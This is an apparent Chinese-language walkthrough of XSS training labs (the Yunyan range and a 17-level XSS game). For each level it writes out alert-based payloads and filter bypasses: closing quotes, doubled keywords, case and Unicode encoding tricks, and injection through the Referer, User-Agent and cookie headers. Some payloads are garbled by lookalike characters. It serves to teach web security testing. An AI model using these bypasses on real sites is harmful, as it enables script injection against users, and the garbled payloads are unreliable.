使用的靶场云演
常用的payload
scirpt标签用于定义客户端脚本,比如JavaScirpt
alert(1)
alert(“xxs”)
img标签定义HTML页面中的图像
<imgsrc=1οnerrοr=alert(1)>
<imagsrc=1ongerror=alert(“xss”)>
input标签规定了用户可以在其中输入数据的输入字段
<inputοnfοcus=alert(1)autofocus>
<inputοnblur=alert(1)autofocus>
<inputοnfοcus=”alert(1)”autofocus>
details标签通过提供用户开启关闭的交互式控件,规定了用户可见的或隐藏的需求的补充细节。ontoggle事件规定了在用户打开或关闭元素时触发:
<detailsοntοggle=alert(1);>
<detailsopenοntοggle=alert(1);>
svg标签⽤来在HTML页⾯中直接嵌⼊SVG⽂件的代码
<svgοnlοad=alert(1);>
等
常用的payload.docx
第一关
在URL处输入payload:
第二关
在搜索栏内输入qyx
查看源代码
输入内容会在 value中显示,比如我们输入yunyansec的字符串,在inpupt 标签中可以看到yunyansec在 value 值中。
绕过思路,闭合标签即可
‘>
或’>
第三关
当我们输入包含有alert的危险字符会被清除。
绕过思路
把alert函数双写即可。
“>aalertlert(1)或”>
第四关
当我们输入包含有alert的危险字符会直接退出脚本执行。
绕过思路
我们可以使用其他弹窗函数进行测试,例如prompt()函数,它可以显示出一个提示用户进行输入的对话框。
“>
或”>
第五关
经过测试这一关会把一些危险字符删掉,像:script、alert、on、img等
绕过思路
把危险字符双写即可。
“>aalertlert(1)或”>
第六关
经过测试本关卡会把更多的危险字符删掉,像:script、alert、on、img、<、src等更多的字符会被清除。
2)绕过思路
使用事件,onclick 事件会在元素被点击时发生;
结合程序执行顺序即危险字符删除顺序,进行双写。
aaa” oimgnclick=”alimgert(1)
xss小游戏
第一关(JS弹窗函数alert())
仔细观察三处箭头,可以发现它是向服务器提交了一个name参数,值为“test”,从页面回显来看,将name参数的值显示在了页面上,并且显示了name参数值的字符长度。接下来,查看源码:
可以发现get传参name的值test插入了html里头,还回显了payload的长度
直接上payload,插入一段js代码,get传参
<script>alert('xss')</script>
**当然也能传其他的东西过掉第一关,建议参考XSS常见的触发标签 **
第二关(闭合绕过)
查看网站源代码
**
第一个test可以跟上次一样直接插入js即可,我们先试试看
<script>alert('xss')</script>
发现没有成功,查看一下网站源码
第一个test进行了html实体转义,但是第二个没有,我们只需要闭合掉双引号即可,构造payload
"> <script>alert()</script> <"
第三关(onfocus可以绕过html实体化(即<>号的过滤))
先输入
,查看网站源码
相对于上一关,这里是单引号闭合,试一下
'> <script>alert()</script> <'
没想到符号都被实体化了,假设我们在这里构造了一个事件,由于当事件发生时,可以执行javascripr,比如用户点击一个HTML元素时,就会从事件处理程序中调用函数构造一个payload,这里用onlcik,payload
' onclick=alert() '
第四关
先输入
,查看网站源码
发现只有><被过滤掉了,我们继续利用事件通过
" onclick=alert() "
第五关(使用插入标签达到js执行)
先输入
,查看网站源码
发现script标签被 _ 分隔开了,再次使用触发事件,结果发现onclick也被过滤了
script不行,onclick不行,尝试利用其它的语句测试
常用的xss语句
<script>alert(1)</script>
<img src=ganyu οnerrοr=alert(1)>
<svg οnlοad=alert(1)>
<a herf=javascript:alert(1)>
发现javascript没有被过滤,可行
直接输入是失败的,没有将前面的内容闭合
" > <a href=javascript:alert('xss')>test</a> #弹窗需要点击test触发
第六关(大小写法绕过str_replace()函数 )
先输入
,查看网站源码
内容进行了过滤,我们尝试使用onclick、javascript、onerror、onload
只有javascript没有被过滤,我们尝试利用上关的方法
” > <a href=javascript:alert(‘xss’)>test,失败了查看网站源码
发现href被过滤了,可以尝试双写、或者大小写、或者编码绕过
" > <a HreF=javascript:alert('xss')>test</a>
第七关(双拼写绕过删除函数)
先输入
,查看网站源码
发现script被删除了,我们尝试双写、或者大小写、或者编码绕过,发现双写可以
<scrscriptipt>alert()</scrscriptipt>
" ><scrscriptipt>alert()</scrscriptipt>
第八关(href属性自动解析Unicode编码)
先输入
,查看网站源码
当我们输入内容的时候,value的内容会直接带入href,,触发友情链接的时候,就会执行带入的参数
我们看一下都过滤了那些关键字onclick、javascript、onerror、onload、script、href、data
尝试双写、或者大小写、或者编码绕过,发现编码可以
javascript:alert()
第九关(插入指定内容绕过检查)
先输入
换成javascript:alert,因为script被过滤我们将它实体化,前面说到是对http://的一个检测,这里尝试能否注释掉
javascript:alert() //http://
第十关
除了url没有任何输入点,尝试在url写入脚本
直接回显,查看代码也直接将我们输入的内容进行HTML实体化
我们查看到了有一个表,但是页面没有显示关于这个表的内容,而且表内利用了input函数并且隐藏,用于接受标准输入数据,而后面的type=“hidden”用于隐藏域
value内为空,我们尝试在value输入
t_link=ganyu&t_history=ganyu&t_sort=ganyu
发现有一行回显
构造payload,然后点击即可
?t_sort=" onfocus=javascript:alert() type="jack
第十一关
右击查看源码 ,发现和上一题有个类似的地方
我们继续像上一题那样,但这次是传4个参数过去
t_link=jack&t_history=jack&t_sort=jack&t_ref=jack
可以看到,这里t_sort的value有显示参数,这里还有一个特殊的referer,熟悉sql注入的应该会熟悉这个referer注入,我们尝试利用referer来传参,打开HackBar,点击referer
成功回显value
构造payload
?t_ref=" onfocus=javascript:alert() type="jack
第十二关
右击查看源码 ,发现和上一题有个类似的地方
有一个类似SQL注入的UA注入
打开HackBar,点击ua
构造payload
?t_ua=" onfocus=javascript:alert() type="jack
第十三关
右击查看源码 ,发现和上一题有个类似的地方
提示我们用cook
F12打开HackBar,点击cook
构造payload
?t_cook=" onfocus=javascript:alert() type="jack
没成功!!!我们先看一下这个网页的cookie,F12打开
cookie名为user,既然知道了隐藏的user,我们尝试继续利用HackBar
构造payload
user=?t_cook=" onfocus=javascript:alert() type="jack
第十四关
无法进行测试
第十五关
查看一下网站源码
发现一个ng-include,include作用是将同一服务器的html文件包含进来,和src进行传参,在请求 src 资源时会将其指向的资源下载并应用到文档中,比如 JavaScript 脚本,img 图片等等,在这里我们将src指向任意一关,输入对应的xss弹窗脚本即可。
?src='/level1.php?name=<img src=1 onmouseover=alert()>'
第十六关
查看一下网站源码
keyword后输入的内容回显,查看一下源码发现被center包裹,center用于居中显示文本
测试一下过滤了那些关键字
?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> j
对比发现,这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化,想尝试一下p标签<p οnmοusedοwn=alert()>abc
,谁知道也将/给替换成了空格
空格可以用回车来代替绕过,回车的url编码是%0a,再配合上不用/的、、
?keyword=<img%0asrc=""%0aonerror=alert(1)>
第十七关
查看一下源码,发现有一个embed标签,用来嵌入内容,比如插件
尝试对值进行修改
构造payload【前提是你得有flash插件】
?arg01=a&arg02 onfocus=alert(1)
使用的工具
火狐浏览器
云演靶场